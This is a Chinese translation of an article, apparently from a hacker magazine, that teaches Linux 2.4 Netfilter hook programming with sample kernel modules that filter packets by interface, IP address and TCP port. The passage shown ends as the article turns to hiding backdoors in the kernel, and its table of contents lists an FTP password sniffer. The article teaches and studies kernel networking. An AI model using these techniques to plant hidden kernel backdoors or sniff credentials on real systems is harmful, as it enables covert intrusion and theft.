目錄 1 - 簡(jiǎn)介 1.1 - 本文涉及的內(nèi)容 1.2 - 本文不涉及的內(nèi)容 2 - 各種Netfilter hook及其用法 2.1 - Linux內(nèi)核對(duì)數(shù)據(jù)包的處理 2.2 - Netfilter對(duì)IPv4的hook 3 - 注冊(cè)和注銷Netfilter hook 4 - Netfilter 基本的數(shù)據(jù)報(bào)過(guò)濾技術(shù)[1] 4.1 - 深入hook函數(shù) 4.2 - 基于接口進(jìn)行過(guò)濾 4.3 - 基于地址進(jìn)行過(guò)濾 4.4 - 基于TCP端口進(jìn)行過(guò)濾 5 - Netfilter hook的其它可能用法 5.1 - 隱藏后門的守護(hù)進(jìn)程 5.2 - 基于內(nèi)核的FTP密碼嗅探器 5.2.1 - 源代碼 : nfsniff.c 5.2.2 - 源代碼 : getpass.c 6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap 6.2 - 給狼披上羊皮 7 - 結(jié)束語(yǔ) A - 輕量級(jí)防火墻 A.1 - 概述 A.2 - 源代碼 : lwfw.c A.3 - 頭文件 : lwfw.h B - 第6節(jié)中的源代碼 --[ 1 - 簡(jiǎn)介 本文將向你展示,Linux的網(wǎng)絡(luò)堆棧的一些怪異行為(并不一定是弱點(diǎn))如何被用于邪惡的或者是其它形形色色的目的。在這里將要討論的是將表面上看起來(lái)合法的Netfilter hook用于后門的通信,以及一種使特定的網(wǎng)絡(luò)通信在運(yùn)行于本機(jī)的基于Libpcap的嗅探器中消聲匿跡的技術(shù)。 Netfilter是Linux 2.4內(nèi)核的一個(gè)子系統(tǒng),Netfiler使得諸如數(shù)據(jù)包過(guò)濾、網(wǎng)絡(luò)地址轉(zhuǎn)換(NAT)以及網(wǎng)絡(luò)連接跟蹤等技巧成為可能,這些功能僅通過(guò)使用內(nèi)核網(wǎng)絡(luò)代碼提供的各式各樣的hook既可以完成。這些hook位于內(nèi)核代碼中,要么是靜態(tài)鏈接的,要么是以動(dòng)態(tài)加載的模塊的形式存在??梢詾橹付ǖ木W(wǎng)絡(luò)事件注冊(cè)相應(yīng)的回調(diào)函數(shù),數(shù)據(jù)包的接收就是這樣一個(gè)例子。 ----[ 1.1 - 本文涉及的內(nèi)容
本文討論模塊編寫者如何利用Netfilter hook來(lái)實(shí)現(xiàn)任意目的以及如何將將網(wǎng)絡(luò)通信在基于Libpcap的應(yīng)用程序中隱藏。雖然Linux 2.4支持對(duì)IPv4、IPv6以及DECnet的hook,但在本文中將只討論關(guān)于IPv4的話題,雖然如此,大部分關(guān)于IPv4的內(nèi)容都同樣可以運(yùn)用于其它幾種協(xié)議。出于教學(xué)的目的,附錄A提供了一個(gè)可用的、提供基本的包過(guò)濾的內(nèi)核模塊。本文中所有的開發(fā)和試驗(yàn)都在運(yùn)行于Intel主機(jī)上的Linux 2.4.5中完成。對(duì)Netfilter hook功能的測(cè)試在環(huán)回接口、以太網(wǎng)接口以及調(diào)制解調(diào)器點(diǎn)對(duì)點(diǎn)接口上完成。
本文也是出于我對(duì)Netfilter完全理解的嘗試的興趣而寫的。我并不能保證文中附帶的任何代碼100%的沒有錯(cuò)誤,但是我已經(jīng)測(cè)試了所有在這里提供的代碼。我已經(jīng)受夠了核心錯(cuò)誤的折磨,因此真誠(chéng)的希望你不會(huì)再如此。同樣,我不會(huì)為任何按照本文所述進(jìn)行的操作中可能發(fā)生的損害承擔(dān)責(zé)任。本文假定讀者熟悉C語(yǔ)言編程并且有一定的關(guān)于可加載模塊的經(jīng)驗(yàn)。
歡迎對(duì)本文中出現(xiàn)的錯(cuò)誤進(jìn)行批評(píng)指正,我同時(shí)開誠(chéng)布公的接受對(duì)本文的改進(jìn)以及其它各種關(guān)于Netfilter的優(yōu)秀技巧的建議。
---- [ 1.2 - 本文不涉及的內(nèi)容 本文不是一個(gè)完全的關(guān)于Netfilter的細(xì)節(jié)上的參考資料,同樣,也不是一個(gè)關(guān)于iptables的命令的參考資料。如果你想了解更多的關(guān)于iptables的命令,請(qǐng)參考相關(guān)的手冊(cè)頁(yè)。
好了,讓我們從Netfilter的使用介紹開始 ...
--[ 2 - 各種Netfilter hook及其用法 ----[ 2.1 - Linux內(nèi)核對(duì)數(shù)據(jù)包的處理
看起來(lái)好像是我很喜歡深入到諸如Linux的數(shù)據(jù)包處理以及事件的發(fā)生以及跟蹤每一個(gè)Netfilter hook這樣的血淋淋的細(xì)節(jié)中,事實(shí)并非如此!原因很簡(jiǎn)單,Harald Welte已經(jīng)寫了一篇關(guān)于這個(gè)話題的優(yōu)秀的文章——《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關(guān)于Linux數(shù)據(jù)包處理的內(nèi)容,我強(qiáng)烈推薦你去拜讀這篇文章?,F(xiàn)在,僅需要理解:當(dāng)數(shù)據(jù)包游歷Linux內(nèi)核的網(wǎng)絡(luò)堆棧時(shí),它穿過(guò)了幾個(gè)hook點(diǎn),在這里,數(shù)據(jù)包可以被分析并且選擇是保留還是丟棄,這些hook點(diǎn)就是Netfilter hook。
----[ 2.2 - Netfilter對(duì)IPv4的hook Netfilter中定義了五個(gè)關(guān)于IPv4的hook,對(duì)這些符號(hào)的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中:
表1 : 可用的IPv4 hook Hook 調(diào)用的時(shí)機(jī) NF_IP_PRE_ROUTING 在完整性校驗(yàn)之后,選路確定之前 NF_IP_LOCAL_IN 在選路確定之后,且數(shù)據(jù)包的目的是本地主機(jī) NF_IP_FORWARD 目的地是其它主機(jī)地?cái)?shù)據(jù)包 NF_IP_LOCAL_OUT 來(lái)自本機(jī)進(jìn)程的數(shù)據(jù)包在其離開本地主機(jī)的過(guò)程中 NF_IP_POST_ROUTING 在數(shù)據(jù)包離開本地主機(jī)“上線”之前 NF_IP_PRE_ROUTING這個(gè)hook是數(shù)據(jù)包被接收到之后調(diào)用的第一個(gè)hook,這個(gè)hook既是稍后將要描述的模塊所用到的。當(dāng)然,其它的hook同樣非常有用,但是在這里,我們的焦點(diǎn)是在NF_IP_PRE_ROUTING這個(gè)hook上。 在hook函數(shù)完成了對(duì)數(shù)據(jù)包所需的任何的操作之后,它們必須返回下列預(yù)定義的Netfilter返回值中的一個(gè):
表2 : Netfilter返回值 返回值 含義 NF_DROP 丟棄該數(shù)據(jù)包 NF_ACCEPT 保留該數(shù)據(jù)包 NF_STOLEN 忘掉該數(shù)據(jù)包 NF_QUEUE 將該數(shù)據(jù)包插入到用戶空間 NF_REPEAT 再次調(diào)用該hook函數(shù) NF_DROP這個(gè)返回值的含義是該數(shù)據(jù)包將被完全的丟棄,所有為它分配的資源都應(yīng)當(dāng)被釋放。NF_ACCEPT這個(gè)返回值告訴Netfilter:到目前為止,該數(shù)據(jù)包還是被接受的并且該數(shù)據(jù)包應(yīng)當(dāng)被遞交到網(wǎng)絡(luò)堆棧的下一個(gè)階段。NF_STOLEN是一個(gè)有趣的返回值,因?yàn)樗嬖VNetfilter,“忘掉”這個(gè)數(shù)據(jù)包。這里告訴Netfilter的是:該hook函數(shù)將從此開始對(duì)數(shù)據(jù)包的處理,并且Netfilter應(yīng)當(dāng)放棄對(duì)該數(shù)據(jù)包做任何的處理。但是,這并不意味著該數(shù)據(jù)包的資源已經(jīng)被釋放。這個(gè)數(shù)據(jù)包以及它獨(dú)自的sk_buff數(shù)據(jù)結(jié)構(gòu)仍然有效,只是hook函數(shù)從Netfilter獲取了該數(shù)據(jù)包的所有權(quán)。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這里我不討論它。最后一個(gè)返回值NF_REPEAT請(qǐng)求Netfilter再次調(diào)用這個(gè)hook函數(shù)。顯然,使用者應(yīng)當(dāng)謹(jǐn)慎使用NF_REPEAT這個(gè)返回值,以免造成死循環(huán)。
--[3 - 注冊(cè)和注銷Netfilter hook 注冊(cè)一個(gè)hook函數(shù)是圍繞nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的一個(gè)非常簡(jiǎn)單的操作,nf_hook_ops數(shù)據(jù)結(jié)構(gòu)在linux/netfilter.h中定義,該數(shù)據(jù)結(jié)構(gòu)的定義如下: struct nf_hook_ops { struct list_head list; /* 此下的值由用戶填充 */ nf_hookfn *hook; int pf; int hooknum; /* Hook以升序的優(yōu)先級(jí)排序 */ int priority; }; 該數(shù)據(jù)結(jié)構(gòu)中的list成員用于維護(hù)Netfilter hook的列表,并且不是用戶在注冊(cè)hook時(shí)需要關(guān)心的重點(diǎn)。hook成員是一個(gè)指向nf_hookfn類型的函數(shù)的指針,該函數(shù)是這個(gè)hook被調(diào)用時(shí)執(zhí)行的函數(shù)。nf_hookfn同樣在linux/netfilter.h中定義。pf這個(gè)成員用于指定協(xié)議族。有效的協(xié)議族在linux/socket.h中列出,但對(duì)于IPv4我們希望使用協(xié)議族PF_INET。hooknum這個(gè)成員用于指定安裝的這個(gè)函數(shù)對(duì)應(yīng)的具體的hook類型,其值為表1中列出的值之一。最后,priority這個(gè)成員用于指定在執(zhí)行的順序中,這個(gè)hook函數(shù)應(yīng)當(dāng)在被放在什么地方。對(duì)于IPv4,可用的值在linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出于示范的目的,在后面的模塊中我們將使用NF_IP_PRI_FIRST。
注冊(cè)一個(gè)Netfilter hook需要調(diào)用nf_register_hook()函數(shù),以及用到一個(gè)nf_hook_ops數(shù)據(jù)結(jié)構(gòu)。nf_register_hook()函數(shù)以一個(gè)nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)并且返回一個(gè)整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函數(shù)的實(shí)現(xiàn)代碼,你會(huì)發(fā)現(xiàn)該函數(shù)總是返回0。以下提供的是一個(gè)示例代碼,該示例代碼簡(jiǎn)單的注冊(cè)了一個(gè)丟棄所有到達(dá)的數(shù)據(jù)包的函數(shù)。該代碼同時(shí)展示了Netfilter的返回值如何被解析。 示例代碼1 : Netfilter hook的注冊(cè) /* * 安裝一個(gè)丟棄所有到達(dá)的數(shù)據(jù)包的Netfilter hook函數(shù)的示例代碼 */ #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> /* 用于注冊(cè)我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */ static struct nf_hook_ops nfho; /* 注冊(cè)的hook函數(shù)的實(shí)現(xiàn) */ unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_DROP; /* 丟棄所有的數(shù)據(jù)包 */ } /* 初始化程序 */ int init_module() { /* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */ nfho.hook = hook_func; /* 處理函數(shù) */ nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個(gè)hook */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */ nf_register_hook(&nfho); return 0; } /* 清除程序 */ void cleanup_module() { nf_unregister_hook(&nfho); } 這就是全部?jī)?nèi)容,從示例代碼1中,你可以看到,注銷一個(gè)Netfilter hook是一件很簡(jiǎn)單事情,只需要調(diào)用nf_unregister_hook()函數(shù),并且以你之前用于注冊(cè)這個(gè)hook時(shí)用到的相同的數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)。
-- [4 - Netfilter 基本的數(shù)據(jù)報(bào)過(guò)濾技術(shù) ---- [4.1 - 深入hook函數(shù) 現(xiàn)在是到了看看什么數(shù)據(jù)被傳遞到hook函數(shù)中以及這些數(shù)據(jù)如何被用于做過(guò)濾選擇的時(shí)候了。那么,讓我們更深入的看看nf_hookfn函數(shù)的原型吧。這個(gè)函數(shù)原型在linux/netfilter.h中給出,如下: typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); nf_hookfn函數(shù)的第一個(gè)參數(shù)用于指定表1中給出的hook類型中的一個(gè)。第二個(gè)參數(shù)更加有趣,它是一個(gè)指向指針的指針,該指針指向的指針指向一個(gè)sk_buff數(shù)據(jù)結(jié)構(gòu),網(wǎng)絡(luò)堆棧用sk_buff數(shù)據(jù)結(jié)構(gòu)來(lái)描述數(shù)據(jù)包。這個(gè)數(shù)據(jù)結(jié)構(gòu)在linux/skbuff.h中定義,由于它的內(nèi)容太多,在這里我將僅列出其中有意義的部分。 sk_buff數(shù)據(jù)結(jié)構(gòu)中最有用的部分可能就是那三個(gè)描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網(wǎng)絡(luò)層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網(wǎng)或者RAW)的聯(lián)合(union)了。這三個(gè)聯(lián)合的名字分別是h、nh以及mac。這些聯(lián)合包含了幾個(gè)結(jié)構(gòu),依賴于具體的數(shù)據(jù)包中使用的協(xié)議。使用者應(yīng)當(dāng)注意:傳輸層包頭和網(wǎng)絡(luò)層包頭可能是指向內(nèi)存中的同一個(gè)位置。這是TCP數(shù)據(jù)包可能出現(xiàn)的情況,其中h和nh都應(yīng)當(dāng)被看作是指向IP頭結(jié)構(gòu)的指針。這意味著嘗試通過(guò)h->th獲取一個(gè)值,并認(rèn)為該指針指向一個(gè)TCP頭,將會(huì)得到錯(cuò)誤的結(jié)果。因?yàn)閔->th實(shí)際上是指向的IP頭,與nh->iph得到的結(jié)果相同。 接下來(lái)讓我們感興趣的其它部分是len和data這兩個(gè)域。len指定了從data開始的數(shù)據(jù)包中的數(shù)據(jù)的總長(zhǎng)度。好了,現(xiàn)在我們知道如何在sk_buff數(shù)據(jù)結(jié)構(gòu)中分別訪問協(xié)議頭和數(shù)據(jù)包中的數(shù)據(jù)了。Netfilter hook函數(shù)中有用的信息中其它的有趣的部分是什么呢? 緊跟在skb之后的兩個(gè)參數(shù)是指向net_device數(shù)據(jù)結(jié)構(gòu)的指針,net_device數(shù)據(jù)結(jié)構(gòu)被Linux內(nèi)核用于描述所有類型的網(wǎng)絡(luò)接口。這兩個(gè)參數(shù)中的第一個(gè)——in,用于描述數(shù)據(jù)包到達(dá)的接口,毫無(wú)疑問,參數(shù)out用于描述數(shù)據(jù)包離開的接口。必須明白,在通常情況下,這兩個(gè)參數(shù)中將只有一個(gè)被提供。例如:參數(shù)in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數(shù)out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個(gè)階段中,我還沒有測(cè)試對(duì)于NF_IP_FORWARD hook,這兩個(gè)參數(shù)中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那么你是非常優(yōu)秀的! 最后,傳遞給hook函數(shù)的最后一個(gè)參數(shù)是一個(gè)命名為okfn函數(shù)指針,該函數(shù)以一個(gè)sk_buff數(shù)據(jù)結(jié)構(gòu)作為它唯一的參數(shù),并且返回一個(gè)整型的值。我不是很確定這個(gè)函數(shù)是干什么用的,在net/core/netfilter.c中查看,有兩個(gè)地方調(diào)用了這個(gè)okfn函數(shù)。這兩個(gè)地方是分別在函數(shù)nf_hook_slow()中以及函數(shù)nf_reinject()中,在其中的某個(gè)位置,當(dāng)Netfilter hook的返回值為NF_ACCEPT時(shí)被調(diào)用。如果任何人有更多的關(guān)于okfn函數(shù)的信息,請(qǐng)務(wù)必告知。
** 譯注:Linux核心網(wǎng)絡(luò)堆棧中有一個(gè)全局變量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變量是一個(gè)二維數(shù)組,其中第一維用于指定協(xié)議族,第二維用于指定hook的類型(表1中定義的類型)。注冊(cè)一個(gè)Netfilter hook實(shí)際就是在由協(xié)議族和hook類型確定的鏈表中添加一個(gè)新的節(jié)點(diǎn)。
以下代碼摘自 net/core/netfilter,nf_register_hook()函數(shù)的實(shí)現(xiàn): int nf_register_hook(struct nf_hook_ops *reg) { struct list_head *i; br_write_lock_bh(BR_NETPROTO_LOCK); for (i = nf_hooks[reg->pf][reg->hooknum].next; i != &nf_hooks[reg->pf][reg->hooknum]; i = i->next) { if (reg->priority < ((struct nf_hook_ops *)i)->priority) break; } list_add(®->list, i->prev); br_write_unlock_bh(BR_NETPROTO_LOCK); return 0; } Netfilter中定義了一個(gè)宏NF_HOOK,作者在前面提到的nf_hook_slow()函數(shù)實(shí)際上就是NF_HOOK宏定義替換的對(duì)象,在NF_HOOK中執(zhí)行注冊(cè)的hook函數(shù)。NF_HOOK在Linux核心網(wǎng)絡(luò)堆棧的適當(dāng)?shù)牡胤揭赃m當(dāng)?shù)膮?shù)調(diào)用。例如,在ip_rcv()函數(shù)(位于net/ipv4/ip_input.c)的最后部分,調(diào)用NF_HOOK函數(shù),執(zhí)行NF_IP_PRE_ROUTING類型的hook。ip_rcv()是Linux核心網(wǎng)絡(luò)堆棧中用于接收IPv4數(shù)據(jù)包的主要函數(shù)。在NF_HOOK的參數(shù)中,頁(yè)包含一個(gè)okfn函數(shù)指針,該函數(shù)是用于數(shù)據(jù)包被接收后完成后續(xù)的操作,例如在ip_rcv中調(diào)用的NF_HOOK中的okfn函數(shù)指針指向ip_rcv_finish()函數(shù)(位于net/ipv4/ip_input.c),該函數(shù)用于IP數(shù)據(jù)包被接收后的諸如IP選項(xiàng)處理等后續(xù)處理。
如果在內(nèi)核編譯參數(shù)中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內(nèi)核代碼中的相關(guān)部分如下(linux/netfilter.h): #ifdef CONFIG_NETFILTER ... #ifdef CONFIG_NETFILTER_DEBUG #define NF_HOOK nf_hook_slow #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \ (list_empty(&nf_hooks[(pf)][(hook)]) \ (okfn)(skb) \ : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn))) #endif ... #else /* !CONFIG_NETFILTER */ #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) #endif /*CONFIG_NETFILTER*/
可見okfn函數(shù)是必不可少的,當(dāng)Netfilter被啟用時(shí),它用于完成接收的數(shù)據(jù)包后的后續(xù)操作,如果不啟用Netfilter做數(shù)據(jù)包過(guò)濾,則所有的數(shù)據(jù)包都被接受,直接調(diào)用該函數(shù)做后續(xù)操作。
** 譯注完
現(xiàn)在,我們已經(jīng)了解了我們的hook函數(shù)接收到的信息中最有趣和最有用的部分,是該看看我們?nèi)绾我愿鞣N各樣的方式來(lái)利用這些信息來(lái)過(guò)濾數(shù)據(jù)包的時(shí)候了!
----[4.2 - 基于接口進(jìn)行過(guò)濾 這應(yīng)該是我們能做的最簡(jiǎn)單的過(guò)濾技術(shù)了。還記得我們的hook函數(shù)接收的參數(shù)中的那些net_device數(shù)據(jù)結(jié)構(gòu)嗎?使用相應(yīng)的net_device數(shù)據(jù)結(jié)構(gòu)的name這個(gè)成員,你就可以根據(jù)數(shù)據(jù)包的源接口和目的接口來(lái)選擇是否丟棄它。如果想丟棄所有到達(dá)接口eth0的數(shù)據(jù)包,所有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那么hook函數(shù)簡(jiǎn)單的返回NF_DROP即可,數(shù)據(jù)包會(huì)被自動(dòng)銷毀。就是這么簡(jiǎn)單!完成該功能的示例代碼見如下的示例代碼2。注意,Light-Weight FireWall模塊將會(huì)提供所有的本文提到的過(guò)濾方法的簡(jiǎn)單示例。它還包含了一個(gè)IOCTL接口以及用于動(dòng)態(tài)改變其特性的應(yīng)用程序。
示例代碼2 : 基于源接口的數(shù)據(jù)包過(guò)濾 /* * 安裝一個(gè)丟棄所有進(jìn)入我們指定接口的數(shù)據(jù)包的Netfilter hook函數(shù)的示例代碼 */ #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> /* 用于注冊(cè)我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */ static struct nf_hook_ops nfho; /* 我們丟棄的數(shù)據(jù)包來(lái)自的接口的名字 */ static char *drop_if = "lo"; /* 注冊(cè)的hook函數(shù)的實(shí)現(xiàn) */ unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { if (strcmp(in->name, drop_if) == 0) { printk("Dropped packet on %s...\n", drop_if); return NF_DROP; } else { return NF_ACCEPT; } } /* 初始化程序 */ int init_module() { /* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */ nfho.hook = hook_func; /* 處理函數(shù) */ nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個(gè)hook */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */ nf_register_hook(&nfho);
return 0; }
/* 清除程序 */ void cleanup_module() { nf_unregister_hook(&nfho); } 是不是很簡(jiǎn)單?接下來(lái),讓我們看看基于IP地址的過(guò)濾。
----[ 4.3 - 基于地址進(jìn)行過(guò)濾 與根據(jù)數(shù)據(jù)包的接口進(jìn)行過(guò)濾類似,基于數(shù)據(jù)包的源或目的IP地址進(jìn)行過(guò)濾同樣簡(jiǎn)單。這次我們感興趣的是sk_buff數(shù)據(jù)結(jié)構(gòu)。還記得skb參數(shù)是一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針的指針嗎?為了避免犯錯(cuò)誤,聲明一個(gè)另外的指向skb_buff數(shù)據(jù)結(jié)構(gòu)的指針并且將skb指針指向的指針賦值給這個(gè)新的指針是一個(gè)好習(xí)慣,就像這樣:
struct sk_buff *sb = *skb; /* Remove 1 level of indirection* / 這樣,你訪問這個(gè)數(shù)據(jù)結(jié)構(gòu)的元素時(shí)只需要反引用一次就可以了。獲取一個(gè)數(shù)據(jù)包的IP頭通過(guò)使用sk_buff數(shù)據(jù)結(jié)構(gòu)中的網(wǎng)絡(luò)層包頭來(lái)完成。這個(gè)頭位于一個(gè)聯(lián)合中,可以通過(guò)sk_buff->nh.iph這樣的方式來(lái)訪問。示例代碼3中的函數(shù)演示了當(dāng)?shù)玫揭粋€(gè)數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)時(shí),如何利用它來(lái)檢查收到的數(shù)據(jù)包的源IP地址與被禁止的地址是否相同。這些代碼是直接從LWFW中取出來(lái)的,唯一不同的是LWFW統(tǒng)計(jì)的更新被移除。
示例代碼3 : 檢查收到的數(shù)據(jù)包的源IP
unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */
... static int check_ip_packet(struct sk_buff *skb) { /* We don't want any NULL pointers in the chain to * the IP header. */ if (!skb )return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { return NF_DROP; } return NF_ACCEPT; }
這樣,如果數(shù)據(jù)包的源地址與我們?cè)O(shè)定的丟棄數(shù)據(jù)包的地址匹配,那么該數(shù)據(jù)包將被丟棄。為了使這個(gè)函數(shù)能按預(yù)期的方式工作,deny_ip的值應(yīng)當(dāng)以網(wǎng)絡(luò)字節(jié)序(Big-endian,與Intel相反)存放。雖然這個(gè)函數(shù)不太可能以一個(gè)空的指針作為參數(shù)來(lái)調(diào)用,帶一點(diǎn)點(diǎn)偏執(zhí)狂從來(lái)不會(huì)有什么壞處。當(dāng)然,如果錯(cuò)誤確實(shí)發(fā)生了,那么該函數(shù)將會(huì)返回NF_ACCEPT。這樣Netfilter可以繼續(xù)處理這個(gè)數(shù)據(jù)包。示例代碼4展現(xiàn)了用于演示將基于接口的過(guò)濾略做修改以丟棄匹配給定IP地址的數(shù)據(jù)包的簡(jiǎn)單模塊。
示例代碼4 : 基于數(shù)據(jù)包源地址的過(guò)濾 /* 安裝丟棄所有來(lái)自指定IP地址的數(shù)據(jù)包的Netfilter hook的示例代碼 */ #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/ip.h> /* For IP header */ #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> /* 用于注冊(cè)我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */ static struct nf_hook_ops nfho; /* 我們要丟棄的數(shù)據(jù)包來(lái)自的地址,網(wǎng)絡(luò)字節(jié)序 */ static unsigned char *drop_ip = "\x7f\x00\x00\x01"; /* 注冊(cè)的hook函數(shù)的實(shí)現(xiàn) */ unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb;
// 譯注:作者提供的代碼中比較地址是否相同的方法是錯(cuò)誤的,見注釋掉的部分 if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) { // if (sb->nh.iph->saddr == drop_ip) { printk("Dropped packet from... %d.%d.%d.%d\n", *drop_ip, *(drop_ip + 1), *(drop_ip + 2), *(drop_ip + 3)); return NF_DROP; } else { return NF_ACCEPT; } } /* 初始化程序 */ int init_module() { /* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */ nfho.hook = hook_func; /* 處理函數(shù) */ nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個(gè)hook */ nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */ nf_register_hook(&nfho); return 0; } /* 清除程序 */ void cleanup_module() { nf_unregister_hook(&nfho); } ----[ 4.4 - 基于TCP端口進(jìn)行過(guò)濾 另一個(gè)要實(shí)現(xiàn)的簡(jiǎn)單規(guī)則是基于數(shù)據(jù)包的TCP目的端口進(jìn)行過(guò)濾。這只比檢查IP地址的要求要高一點(diǎn)點(diǎn),因?yàn)槲覀冃枰约簞?chuàng)建一個(gè)TCP頭的指針。還記得我們前面討論的關(guān)于傳輸層包頭與網(wǎng)絡(luò)層包頭的內(nèi)容嗎?獲取一個(gè)TCP頭的指針是一件簡(jiǎn)單的事情——分配一個(gè)tcphdr數(shù)據(jù)結(jié)構(gòu)(在linux/tcp.h中定義)的指針,并將它指向我們的數(shù)據(jù)包中IP頭之后的數(shù)據(jù)?;蛟S一個(gè)例子的幫助會(huì)更大一些,示例代碼5給出了檢查數(shù)據(jù)包的TCP目的端口是否與某個(gè)我們要丟棄數(shù)據(jù)包的端口匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。
示例代碼5 : 檢查收到的數(shù)據(jù)包的TCP目的端口 unsigned char *deny_port = "\x00\x19"; /* port 25 */ ... static int check_tcp_packet(struct sk_buff *skb) { struct tcphdr *thead; /* We don't want any NULL pointers in the chain * to the IP header. */ if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; /* Be sure this is a TCP packet first */ if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; } thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); /* Now check the destination port */ if ((thead->dest) == *(unsigned short *)deny_port) { return NF_DROP; }
return NF_ACCEPT; } 確實(shí)很簡(jiǎn)單!不要忘了,要讓這個(gè)函數(shù)工作,deny_port必須是網(wǎng)絡(luò)字節(jié)序。這就是數(shù)據(jù)包過(guò)濾的基礎(chǔ)了,你應(yīng)當(dāng)已經(jīng)清楚的理解了對(duì)于一個(gè)特定的數(shù)據(jù)包,如何獲取你想要的信息?,F(xiàn)在,是該進(jìn)入更有趣的內(nèi)容的時(shí)候了!
--[ 5 - Netfilter hook的其它可能用法 在這里,我將提出其它很酷的利用Netfilter hook的點(diǎn)子,5.1節(jié)將簡(jiǎn)單的給出精神食糧,而5.2節(jié)將討論和給出可以工作的基于內(nèi)核的FTP密碼嗅探器的代碼,它的遠(yuǎn)程密碼獲取功能是確實(shí)可用的。事實(shí)上,它工作的令我吃驚的好,并且我編寫了它。
----[ 5.1 - 隱藏后門的守護(hù)進(jìn)程 核心模塊編程也許是Linux開發(fā)中最有趣的部分之一了,在內(nèi)核中編寫代碼意味著你在一個(gè)僅受限于你的想象力的地方寫代碼。以惡意的觀點(diǎn)來(lái)看,你可以隱藏文件、進(jìn)程,并且做各式各樣很酷的,任何的rootkit能夠做的事情。那么,以不太惡意的觀點(diǎn)來(lái)看(是的,持這中觀點(diǎn)人們的確存在),你可以隱藏文件、進(jìn)程以及干各式各樣的事情。內(nèi)核真是一個(gè)迷人的樂園!
有了賦予內(nèi)核級(jí)程序員的強(qiáng)大力量,很多事情成為可能。其中最有趣的(也是讓系統(tǒng)管理員恐慌的)一個(gè)就是嵌入到內(nèi)核中的后門。畢竟,如果后門不作為一個(gè)進(jìn)程運(yùn)行,那么我們?cè)趺粗浪倪\(yùn)行?當(dāng)然,還是有辦法讓你的內(nèi)核揪出這樣的后門來(lái),但是它們可不像運(yùn)行ps命令一樣容易和簡(jiǎn)單?,F(xiàn)今,將后門代碼放到內(nèi)核中去的點(diǎn)子已經(jīng)并不新鮮了。但是,我在這里所提出的是安放一個(gè)用作內(nèi)核后門的簡(jiǎn)單的網(wǎng)絡(luò)服務(wù)。你猜對(duì)了,正是Netfilter hook!
